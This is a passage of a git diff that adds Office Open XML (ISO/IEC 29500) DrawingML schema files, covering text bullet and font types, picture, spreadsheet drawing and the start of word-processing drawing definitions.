<xsd:enumeration value="arabicDbPeriod"/> + <xsd:enumeration value="arabicDbPlain"/> + <xsd:enumeration value="ea1ChsPeriod"/> + <xsd:enumeration value="ea1ChsPlain"/> + <xsd:enumeration value="ea1ChtPeriod"/> + <xsd:enumeration value="ea1ChtPlain"/> + <xsd:enumeration value="ea1JpnChsDbPeriod"/> + <xsd:enumeration value="ea1JpnKorPlain"/> + <xsd:enumeration value="ea1JpnKorPeriod"/> + <xsd:enumeration value="arabic1Minus"/> + <xsd:enumeration value="arabic2Minus"/> + <xsd:enumeration value="hebrew2Minus"/> + <xsd:enumeration value="thaiAlphaPeriod"/> + <xsd:enumeration value="thaiAlphaParenR"/> + <xsd:enumeration value="thaiAlphaParenBoth"/> + <xsd:enumeration value="thaiNumPeriod"/> + <xsd:enumeration value="thaiNumParenR"/> + <xsd:enumeration value="thaiNumParenBoth"/> + <xsd:enumeration value="hindiAlphaPeriod"/> + <xsd:enumeration value="hindiNumPeriod"/> + <xsd:enumeration value="hindiNumParenR"/> + <xsd:enumeration value="hindiAlpha1Period"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextBulletColorFollowText"/> + <xsd:group name="EG_TextBulletColor"> + <xsd:choice> + <xsd:element name="buClrTx" type="CT_TextBulletColorFollowText" minOccurs="1" maxOccurs="1"/> + <xsd:element name="buClr" type="CT_Color" minOccurs="1" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_TextBulletSize"> + <xsd:union memberTypes="ST_TextBulletSizePercent ST_TextBulletSizeDecimal"/> + </xsd:simpleType> + <xsd:simpleType name="ST_TextBulletSizePercent"> + <xsd:restriction base="xsd:string"> + <xsd:pattern value="0*((2[5-9])|([3-9][0-9])|([1-3][0-9][0-9])|400)%"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextBulletSizeDecimal"> + <xsd:restriction base="ST_PercentageDecimal"> + <xsd:minInclusive value="25000"/> + <xsd:maxInclusive value="400000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextBulletSizeFollowText"/> + <xsd:complexType name="CT_TextBulletSizePercent"> + <xsd:attribute name="val" type="ST_TextBulletSizePercent" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TextBulletSizePoint"> + <xsd:attribute name="val" type="ST_TextFontSize" use="required"/> + </xsd:complexType> + <xsd:group name="EG_TextBulletSize"> + <xsd:choice> + <xsd:element name="buSzTx" type="CT_TextBulletSizeFollowText"/> + <xsd:element name="buSzPct" type="CT_TextBulletSizePercent"/> + <xsd:element name="buSzPts" type="CT_TextBulletSizePoint"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_TextBulletTypefaceFollowText"/> + <xsd:group name="EG_TextBulletTypeface"> + <xsd:choice> + <xsd:element name="buFontTx" type="CT_TextBulletTypefaceFollowText"/> + <xsd:element name="buFont" type="CT_TextFont"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_TextAutonumberBullet"> + <xsd:attribute name="type" type="ST_TextAutonumberScheme" use="required"/> + <xsd:attribute name="startAt" type="ST_TextBulletStartAtNum" use="optional" default="1"/> + </xsd:complexType> + <xsd:complexType name="CT_TextCharBullet"> + <xsd:attribute name="char" type="xsd:string" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TextBlipBullet"> + <xsd:sequence> + <xsd:element name="blip" type="CT_Blip" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TextNoBullet"/> + <xsd:group name="EG_TextBullet"> + <xsd:choice> + <xsd:element name="buNone" type="CT_TextNoBullet"/> + <xsd:element name="buAutoNum" type="CT_TextAutonumberBullet"/> + <xsd:element name="buChar" type="CT_TextCharBullet"/> + <xsd:element name="buBlip" type="CT_TextBlipBullet"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_TextPoint"> + <xsd:union memberTypes="ST_TextPointUnqualified s:ST_UniversalMeasure"/> + </xsd:simpleType> + <xsd:simpleType name="ST_TextPointUnqualified"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="-400000"/> + <xsd:maxInclusive value="400000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextNonNegativePoint"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="400000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextFontSize"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="100"/> + <xsd:maxInclusive value="400000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextTypeface"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_PitchFamily"> + <xsd:restriction base="xsd:byte"> + <xsd:enumeration value="00"/> + <xsd:enumeration value="01"/> + <xsd:enumeration value="02"/> + <xsd:enumeration value="16"/> + <xsd:enumeration value="17"/> + <xsd:enumeration value="18"/> + <xsd:enumeration value="32"/> + <xsd:enumeration value="33"/> + <xsd:enumeration value="34"/> + <xsd:enumeration value="48"/> + <xsd:enumeration value="49"/> + <xsd:enumeration value="50"/> + <xsd:enumeration value="64"/> + <xsd:enumeration value="65"/> + <xsd:enumeration value="66"/> + <xsd:enumeration value="80"/> + <xsd:enumeration value="81"/> + <xsd:enumeration value="82"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextFont"> + <xsd:attribute name="typeface" type="ST_TextTypeface" use="required"/> + <xsd:attribute name="panose" type="s:ST_Panose" use="optional"/> + <xsd:attribute name="pitchFamily" type="ST_PitchFamily" use="optional" default="0"/> + <xsd:attribute name="charset" type="xsd:byte" use="optional" default="1"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextUnderlineType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="words"/> + <xsd:enumeration value="sng"/> + <xsd:enumeration value="dbl"/> + <xsd:enumeration value="heavy"/> + <xsd:enumeration value="dotted"/> + <xsd:enumeration value="dottedHeavy"/> + <xsd:enumeration value="dash"/> + <xsd:enumeration value="dashHeavy"/> + <xsd:enumeration value="dashLong"/> + <xsd:enumeration value="dashLongHeavy"/> + <xsd:enumeration value="dotDash"/> + <xsd:enumeration value="dotDashHeavy"/> + <xsd:enumeration value="dotDotDash"/> + <xsd:enumeration value="dotDotDashHeavy"/> + <xsd:enumeration value="wavy"/> + <xsd:enumeration value="wavyHeavy"/> + <xsd:enumeration value="wavyDbl"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextUnderlineLineFollowText"/> + <xsd:complexType name="CT_TextUnderlineFillFollowText"/> + <xsd:complexType name="CT_TextUnderlineFillGroupWrapper"> + <xsd:group ref="EG_FillProperties" minOccurs="1" maxOccurs="1"/> + </xsd:complexType> + <xsd:group name="EG_TextUnderlineLine"> + <xsd:choice> + <xsd:element name="uLnTx" type="CT_TextUnderlineLineFollowText"/> + <xsd:element name="uLn" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + </xsd:choice> + </xsd:group> + <xsd:group name="EG_TextUnderlineFill"> + <xsd:choice> + <xsd:element name="uFillTx" type="CT_TextUnderlineFillFollowText"/> + <xsd:element name="uFill" type="CT_TextUnderlineFillGroupWrapper"/> + </xsd:choice> + </xsd:group> + <xsd:simpleType name="ST_TextStrikeType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="noStrike"/> + <xsd:enumeration value="sngStrike"/> + <xsd:enumeration value="dblStrike"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextCapsType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="small"/> + <xsd:enumeration value="all"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextCharacterProperties"> + <xsd:sequence> + <xsd:element name="ln" type="CT_LineProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_FillProperties" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_EffectProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="highlight" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextUnderlineLine" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextUnderlineFill" minOccurs="0" maxOccurs="1"/> + <xsd:element name="latin" type="CT_TextFont" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ea" type="CT_TextFont" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cs" type="CT_TextFont" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sym" type="CT_TextFont" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hlinkClick" type="CT_Hyperlink" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hlinkMouseOver" type="CT_Hyperlink" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rtl" type="CT_Boolean" minOccurs="0"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="kumimoji" type="xsd:boolean" use="optional"/> + <xsd:attribute name="lang" type="s:ST_Lang" use="optional"/> + <xsd:attribute name="altLang" type="s:ST_Lang" use="optional"/> + <xsd:attribute name="sz" type="ST_TextFontSize" use="optional"/> + <xsd:attribute name="b" type="xsd:boolean" use="optional"/> + <xsd:attribute name="i" type="xsd:boolean" use="optional"/> + <xsd:attribute name="u" type="ST_TextUnderlineType" use="optional"/> + <xsd:attribute name="strike" type="ST_TextStrikeType" use="optional"/> + <xsd:attribute name="kern" type="ST_TextNonNegativePoint" use="optional"/> + <xsd:attribute name="cap" type="ST_TextCapsType" use="optional" default="none"/> + <xsd:attribute name="spc" type="ST_TextPoint" use="optional"/> + <xsd:attribute name="normalizeH" type="xsd:boolean" use="optional"/> + <xsd:attribute name="baseline" type="ST_Percentage" use="optional"/> + <xsd:attribute name="noProof" type="xsd:boolean" use="optional"/> + <xsd:attribute name="dirty" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="err" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="smtClean" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="smtId" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="bmk" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Boolean"> + <xsd:attribute name="val" type="s:ST_OnOff" default="0"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextSpacingPoint"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="158400"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextSpacingPercentOrPercentString"> + <xsd:union memberTypes="ST_TextSpacingPercent s:ST_Percentage"/> + </xsd:simpleType> + <xsd:simpleType name="ST_TextSpacingPercent"> + <xsd:restriction base="ST_PercentageDecimal"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="13200000"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextSpacingPercent"> + <xsd:attribute name="val" type="ST_TextSpacingPercentOrPercentString" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_TextSpacingPoint"> + <xsd:attribute name="val" type="ST_TextSpacingPoint" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TextMargin"> + <xsd:restriction base="ST_Coordinate32Unqualified"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="51206400"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextIndent"> + <xsd:restriction base="ST_Coordinate32Unqualified"> + <xsd:minInclusive value="-51206400"/> + <xsd:maxInclusive value="51206400"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextTabAlignType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="l"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="dec"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextTabStop"> + <xsd:attribute name="pos" type="ST_Coordinate32" use="optional"/> + <xsd:attribute name="algn" type="ST_TextTabAlignType" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TextTabStopList"> + <xsd:sequence> + <xsd:element name="tab" type="CT_TextTabStop" minOccurs="0" maxOccurs="32"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TextLineBreak"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_TextCharacterProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_TextSpacing"> + <xsd:choice> + <xsd:element name="spcPct" type="CT_TextSpacingPercent"/> + <xsd:element name="spcPts" type="CT_TextSpacingPoint"/> + </xsd:choice> + </xsd:complexType> + <xsd:simpleType name="ST_TextAlignType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="l"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="just"/> + <xsd:enumeration value="justLow"/> + <xsd:enumeration value="dist"/> + <xsd:enumeration value="thaiDist"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextFontAlignType"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="auto"/> + <xsd:enumeration value="t"/> + <xsd:enumeration value="ctr"/> + <xsd:enumeration value="base"/> + <xsd:enumeration value="b"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TextIndentLevelType"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="0"/> + <xsd:maxInclusive value="8"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TextParagraphProperties"> + <xsd:sequence> + <xsd:element name="lnSpc" type="CT_TextSpacing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spcBef" type="CT_TextSpacing" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spcAft" type="CT_TextSpacing" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextBulletColor" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextBulletSize" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextBulletTypeface" minOccurs="0" maxOccurs="1"/> + <xsd:group ref="EG_TextBullet" minOccurs="0" maxOccurs="1"/> + <xsd:element name="tabLst" type="CT_TextTabStopList" minOccurs="0" maxOccurs="1"/> + <xsd:element name="defRPr" type="CT_TextCharacterProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_OfficeArtExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="marL" type="ST_TextMargin" use="optional"/> + <xsd:attribute name="marR" type="ST_TextMargin" use="optional"/> + <xsd:attribute name="lvl" type="ST_TextIndentLevelType" use="optional"/> + <xsd:attribute name="indent" type="ST_TextIndent" use="optional"/> + <xsd:attribute name="algn" type="ST_TextAlignType" use="optional"/> + <xsd:attribute name="defTabSz" type="ST_Coordinate32" use="optional"/> + <xsd:attribute name="rtl" type="xsd:boolean" use="optional"/> + <xsd:attribute name="eaLnBrk" type="xsd:boolean" use="optional"/> + <xsd:attribute name="fontAlgn" type="ST_TextFontAlignType" use="optional"/> + <xsd:attribute name="latinLnBrk" type="xsd:boolean" use="optional"/> + <xsd:attribute name="hangingPunct" type="xsd:boolean" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_TextField"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_TextCharacterProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pPr" type="CT_TextParagraphProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="t" type="xsd:string" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="id" type="s:ST_Guid" use="required"/> + <xsd:attribute name="type" type="xsd:string" use="optional"/> + </xsd:complexType> + <xsd:group name="EG_TextRun"> + <xsd:choice> + <xsd:element name="r" type="CT_RegularTextRun"/> + <xsd:element name="br" type="CT_TextLineBreak"/> + <xsd:element name="fld" type="CT_TextField"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_RegularTextRun"> + <xsd:sequence> + <xsd:element name="rPr" type="CT_TextCharacterProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="t" type="xsd:string" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd new file mode 100644 index 00000000..1dbf0514 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-picture.xsd @@ -0,0 +1,23 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/picture" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" elementFormDefault="qualified" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/picture"> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:complexType name="CT_PictureNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvPicPr" type="a:CT_NonVisualPictureProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Picture"> + <xsd:sequence minOccurs="1" maxOccurs="1"> + <xsd:element name="nvPicPr" type="CT_PictureNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blipFill" type="a:CT_BlipFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="pic" type="CT_Picture"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd new file mode 100644 index 00000000..f1af17db --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-spreadsheetDrawing.xsd @@ -0,0 +1,185 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/spreadsheetDrawing" + elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:import schemaLocation="shared-relationshipReference.xsd" + namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships"/> + <xsd:element name="from" type="CT_Marker"/> + <xsd:element name="to" type="CT_Marker"/> + <xsd:complexType name="CT_AnchorClientData"> + <xsd:attribute name="fLocksWithSheet" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="fPrintsWithSheet" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_ShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvSpPr" type="a:CT_NonVisualDrawingShapeProps" minOccurs="1" maxOccurs="1" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Shape"> + <xsd:sequence> + <xsd:element name="nvSpPr" type="CT_ShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + <xsd:element name="txBody" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional"/> + <xsd:attribute name="textlink" type="xsd:string" use="optional"/> + <xsd:attribute name="fLocksText" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_ConnectorNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvCxnSpPr" type="a:CT_NonVisualConnectorProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Connector"> + <xsd:sequence> + <xsd:element name="nvCxnSpPr" type="CT_ConnectorNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional"/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_PictureNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvPicPr" type="a:CT_NonVisualPictureProperties" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Picture"> + <xsd:sequence> + <xsd:element name="nvPicPr" type="CT_PictureNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="blipFill" type="a:CT_BlipFillProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:element name="style" type="a:CT_ShapeStyle" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional" default=""/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GraphicalObjectFrameNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGraphicFramePr" type="a:CT_NonVisualGraphicFrameProperties" + minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GraphicalObjectFrame"> + <xsd:sequence> + <xsd:element name="nvGraphicFramePr" type="CT_GraphicalObjectFrameNonVisual" minOccurs="1" + maxOccurs="1"/> + <xsd:element name="xfrm" type="a:CT_Transform2D" minOccurs="1" maxOccurs="1"/> + <xsd:element ref="a:graphic" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="macro" type="xsd:string" use="optional"/> + <xsd:attribute name="fPublished" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_GroupShapeNonVisual"> + <xsd:sequence> + <xsd:element name="cNvPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGrpSpPr" type="a:CT_NonVisualGroupDrawingShapeProps" minOccurs="1" + maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_GroupShape"> + <xsd:sequence> + <xsd:element name="nvGrpSpPr" type="CT_GroupShapeNonVisual" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grpSpPr" type="a:CT_GroupShapeProperties" minOccurs="1" maxOccurs="1"/> + <xsd:choice minOccurs="0" maxOccurs="unbounded"> + <xsd:element name="sp" type="CT_Shape"/> + <xsd:element name="grpSp" type="CT_GroupShape"/> + <xsd:element name="graphicFrame" type="CT_GraphicalObjectFrame"/> + <xsd:element name="cxnSp" type="CT_Connector"/> + <xsd:element name="pic" type="CT_Picture"/> + </xsd:choice> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_ObjectChoices"> + <xsd:sequence> + <xsd:choice minOccurs="1" maxOccurs="1"> + <xsd:element name="sp" type="CT_Shape"/> + <xsd:element name="grpSp" type="CT_GroupShape"/> + <xsd:element name="graphicFrame" type="CT_GraphicalObjectFrame"/> + <xsd:element name="cxnSp" type="CT_Connector"/> + <xsd:element name="pic" type="CT_Picture"/> + <xsd:element name="contentPart" type="CT_Rel"/> + </xsd:choice> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_Rel"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_ColID"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_RowID"> + <xsd:restriction base="xsd:int"> + <xsd:minInclusive value="0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Marker"> + <xsd:sequence> + <xsd:element name="col" type="ST_ColID"/> + <xsd:element name="colOff" type="a:ST_Coordinate"/> + <xsd:element name="row" type="ST_RowID"/> + <xsd:element name="rowOff" type="a:ST_Coordinate"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_EditAs"> + <xsd:restriction base="xsd:token"> + <xsd:enumeration value="twoCell"/> + <xsd:enumeration value="oneCell"/> + <xsd:enumeration value="absolute"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TwoCellAnchor"> + <xsd:sequence> + <xsd:element name="from" type="CT_Marker"/> + <xsd:element name="to" type="CT_Marker"/> + <xsd:group ref="EG_ObjectChoices"/> + <xsd:element name="clientData" type="CT_AnchorClientData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="editAs" type="ST_EditAs" use="optional" default="twoCell"/> + </xsd:complexType> + <xsd:complexType name="CT_OneCellAnchor"> + <xsd:sequence> + <xsd:element name="from" type="CT_Marker"/> + <xsd:element name="ext" type="a:CT_PositiveSize2D"/> + <xsd:group ref="EG_ObjectChoices"/> + <xsd:element name="clientData" type="CT_AnchorClientData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_AbsoluteAnchor"> + <xsd:sequence> + <xsd:element name="pos" type="a:CT_Point2D"/> + <xsd:element name="ext" type="a:CT_PositiveSize2D"/> + <xsd:group ref="EG_ObjectChoices"/> + <xsd:element name="clientData" type="CT_AnchorClientData" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_Anchor"> + <xsd:choice> + <xsd:element name="twoCellAnchor" type="CT_TwoCellAnchor"/> + <xsd:element name="oneCellAnchor" type="CT_OneCellAnchor"/> + <xsd:element name="absoluteAnchor" type="CT_AbsoluteAnchor"/> + </xsd:choice> + </xsd:group> + <xsd:complexType name="CT_Drawing"> + <xsd:sequence> + <xsd:group ref="EG_Anchor" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:element name="wsDr" type="CT_Drawing"/> +</xsd:schema> diff --git a/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd new file mode 100644 index 00000000..0a185ab6 --- /dev/null +++ b/skills/pptx/ooxml/schemas/ISO-IEC29500-4_2016/dml-wordprocessingDrawing.xsd @@ -0,0 +1,287 @@ +<?xml version="1.0" encoding="utf-8"?> +<xsd:schema xmlns:xsd="http://www.w3.org/2001/XMLSchema" + xmlns:a="http://schemas.openxmlformats.org/drawingml/2006/main" + xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" + xmlns:dpct="http://schemas.openxmlformats.org/drawingml/2006/picture" + xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + xmlns="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" + targetNamespace="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" + elementFormDefault="qualified"> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/main" + schemaLocation="dml-main.xsd"/> + <xsd:import schemaLocation="wml.xsd" + namespace="http://schemas.openxmlformats.org/wordprocessingml/2006/main"/> + <xsd:import namespace="http://schemas.openxmlformats.org/drawingml/2006/picture" + schemaLocation="dml-picture.xsd"/> + <xsd:import namespace="http://schemas.openxmlformats.org/officeDocument/2006/relationships" + schemaLocation="shared-relationshipReference.xsd"/> + <xsd:complexType name="CT_EffectExtent"> + <xsd:attribute name="l" type="a:ST_Coordinate" use="required"/> + <xsd:attribute name="t" type="a:ST_Coordinate" use="required"/> + <xsd:attribute name="r" type="a:ST_Coordinate" use="required"/> + <xsd:attribute name="b" type="a:ST_Coordinate" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_WrapDistance"> + <xsd:restriction base="xsd:unsignedInt"/> + </xsd:simpleType> + <xsd:complexType name="CT_Inline"> + <xsd:sequence> + <xsd:element name="extent" type="a:CT_PositiveSize2D"/> + <xsd:element name="effectExtent" type="CT_EffectExtent" minOccurs="0"/> + <xsd:element name="docPr" type="a:CT_NonVisualDrawingProps" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cNvGraphicFramePr" type="a:CT_NonVisualGraphicFrameProperties" + minOccurs="0" maxOccurs="1"/> + <xsd:element ref="a:graphic" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="distT" type="ST_WrapDistance" use="optional"/> + <xsd:attribute name="distB" type="ST_WrapDistance" use="optional"/> + <xsd:attribute 